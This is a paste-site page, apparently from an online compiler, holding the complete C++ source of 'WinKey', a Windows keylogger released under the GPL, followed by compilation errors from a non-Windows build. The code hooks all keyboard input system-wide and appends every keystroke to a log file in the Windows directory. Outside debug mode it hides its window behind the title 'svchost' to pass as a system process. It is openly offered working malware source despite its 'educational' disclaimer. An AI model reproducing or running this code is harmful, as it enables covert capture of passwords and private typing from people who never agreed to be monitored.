fork download
  1. /*
  2.  * WinKey -- A GPL Windows keylogging program. While this program can potentially
  3.  * be used for nefarious purposes, it was written for educational and recreational
  4.  * purposes only and the author does not endorse illegal use.
  5.  *
  6.  * This program is free software: you can redistribute it and/or modify
  7.  * it under the terms of the GNU General Public License as published by
  8.  * the Free Software Foundation, either version 3 of the License, or
  9.  * (at your option) any later version.
  10.  *
  11.  * This program is distributed in the hope that it will be useful,
  12.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  14.  * GNU General Public License for more details.
  15.  *
  16.  * You should have received a copy of the GNU General Public License
  17.  * along with this program. If not, see <http://w...content-available-to-author-only...u.org/licenses/>.
  18.  */
  19.  
  20. #include <fstream>
  21. #include <iostream>
  22. #include <string>
  23. #include <windows.h>
  24.  
  25. #define DEBUG 1
  26.  
  27. #define OUTFILE_NAME "Logs\\WinKey.log" /* Output file */
  28. #define CLASSNAME "winkey"
  29. #define WINDOWTITLE "svchost"
  30.  
  31. char windir[MAX_PATH + 1];
  32. HHOOK kbdhook; /* Keyboard hook handle */
  33. bool running; /* Used in main loop */
  34.  
  35. /**
  36.  * \brief Called by Windows automagically every time a key is pressed (regardless
  37.  * of who has focus)
  38.  */
  39. __declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
  40. {
  41. if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
  42. static bool capslock = false;
  43. static bool shift = false;
  44. char tmp[0xFF] = {0};
  45. std::string str;
  46. DWORD msg = 1;
  47. KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
  48. bool printable;
  49.  
  50. /*
  51. * Get key name as string
  52. */
  53. msg += (st_hook.scanCode << 16);
  54. msg += (st_hook.flags << 24);
  55. GetKeyNameText(msg, tmp, 0xFF);
  56. str = std::string(tmp);
  57.  
  58. printable = (str.length() <= 1) ? true : false;
  59.  
  60. /*
  61. * Non-printable characters only:
  62. * Some of these (namely; newline, space and tab) will be
  63. * made into printable characters.
  64. * Others are encapsulated in brackets ('[' and ']').
  65. */
  66. if (!printable) {
  67. /*
  68. * Keynames that change state are handled here.
  69. */
  70. if (str == "CAPSLOCK")
  71. capslock = !capslock;
  72. else if (str == "SHIFT")
  73. shift = true;
  74.  
  75. /*
  76. * Keynames that may become printable characters are
  77. * handled here.
  78. */
  79. if (str == "ENTER") {
  80. str = "\n";
  81. printable = true;
  82. } else if (str == "SPACE") {
  83. str = " ";
  84. printable = true;
  85. } else if (str == "TAB") {
  86. str = "\t";
  87. printable = true;
  88. } else {
  89. str = ("[" + str + "]");
  90. }
  91. }
  92.  
  93. /*
  94. * Printable characters only:
  95. * If shift is on and capslock is off or shift is off and
  96. * capslock is on, make the character uppercase.
  97. * If both are off or both are on, the character is lowercase
  98. */
  99. if (printable) {
  100. if (shift == capslock) { /* Lowercase */
  101. for (size_t i = 0; i < str.length(); ++i)
  102. str[i] = tolower(str[i]);
  103. } else { /* Uppercase */
  104. for (size_t i = 0; i < str.length(); ++i) {
  105. if (str[i] >= 'A' && str[i] <= 'Z') {
  106. str[i] = toupper(str[i]);
  107. }
  108. }
  109. }
  110.  
  111. shift = false;
  112. }
  113.  
  114. #ifdef DEBUG
  115. std::cout << str;
  116. #endif
  117. std::string path = std::string(windir) + "\\" + OUTFILE_NAME;
  118. std::ofstream outfile(path.c_str(), std::ios_base::app);
  119. outfile << str;
  120. outfile.close();
  121. }
  122.  
  123. return CallNextHookEx(kbdhook, code, wp, lp);
  124. }
  125.  
  126.  
  127. /**
  128.  * \brief Called by DispatchMessage() to handle messages
  129.  * \param hwnd Window handle
  130.  * \param msg Message to handle
  131.  * \param wp
  132.  * \param lp
  133.  * \return 0 on success
  134.  */
  135. LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
  136. {
  137. switch (msg) {
  138. case WM_CLOSE: case WM_DESTROY:
  139. running = false;
  140. break;
  141. default:
  142. /* Call default message handler */
  143. return DefWindowProc(hwnd, msg, wp, lp);
  144. }
  145.  
  146. return 0;
  147. }
  148.  
  149. int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
  150. LPSTR cmdline, int ncmdshow)
  151. {
  152. /*
  153. * Set up window
  154. */
  155. HWND hwnd;
  156. HWND fgwindow = GetForegroundWindow(); /* Current foreground window */
  157. MSG msg;
  158. WNDCLASSEX windowclass;
  159. HINSTANCE modulehandle;
  160.  
  161. windowclass.hInstance = thisinstance;
  162. windowclass.lpszClassName = CLASSNAME;
  163. windowclass.lpfnWndProc = windowprocedure;
  164. windowclass.style = CS_DBLCLKS;
  165. windowclass.cbSize = sizeof(WNDCLASSEX);
  166. windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
  167. windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
  168. windowclass.hCursor = LoadCursor(NULL, IDC_ARROW);
  169. windowclass.lpszMenuName = NULL;
  170. windowclass.cbClsExtra = 0;
  171. windowclass.cbWndExtra = 0;
  172. windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
  173.  
  174. if (!(RegisterClassEx(&windowclass)))
  175. return 1;
  176.  
  177. hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
  178. CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
  179. thisinstance, NULL);
  180. if (!(hwnd))
  181. return 1;
  182.  
  183. /*
  184. * Make the window invisible
  185. */
  186. #ifdef DEBUG
  187. /*
  188. * Debug mode: Make the window visible
  189. */
  190. ShowWindow(hwnd, SW_SHOW);
  191. #else
  192. ShowWindow(hwnd, SW_HIDE);
  193. #endif
  194. UpdateWindow(hwnd);
  195. SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */
  196.  
  197. /*
  198. * Hook keyboard input so we get it too
  199. */
  200. modulehandle = GetModuleHandle(NULL);
  201. kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);
  202.  
  203. running = true;
  204.  
  205. GetWindowsDirectory((LPSTR)windir, MAX_PATH);
  206.  
  207. /*
  208. * Main loop
  209. */
  210. while (running) {
  211. /*
  212. * Get messages, dispatch to window procedure
  213. */
  214. if (!GetMessage(&msg, NULL, 0, 0))
  215. running = false; /*
  216. * This is not a "return" or
  217. * "break" so the rest of the loop is
  218. * done. This way, we never miss keys
  219. * when destroyed but we still exit.
  220. */
  221. TranslateMessage(&msg);
  222. DispatchMessage(&msg);
  223. }
  224.  
  225. return 0;
  226. }
  227. Edit & Run
  228.  
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
prog.cpp:23:21: error: windows.h: No such file or directory
prog.cpp:31: error: 'MAX_PATH' was not declared in this scope
prog.cpp:32: error: 'HHOOK' does not name a type
prog.cpp:39: error: expected constructor, destructor, or type conversion before '(' token
stdout
Standard output is empty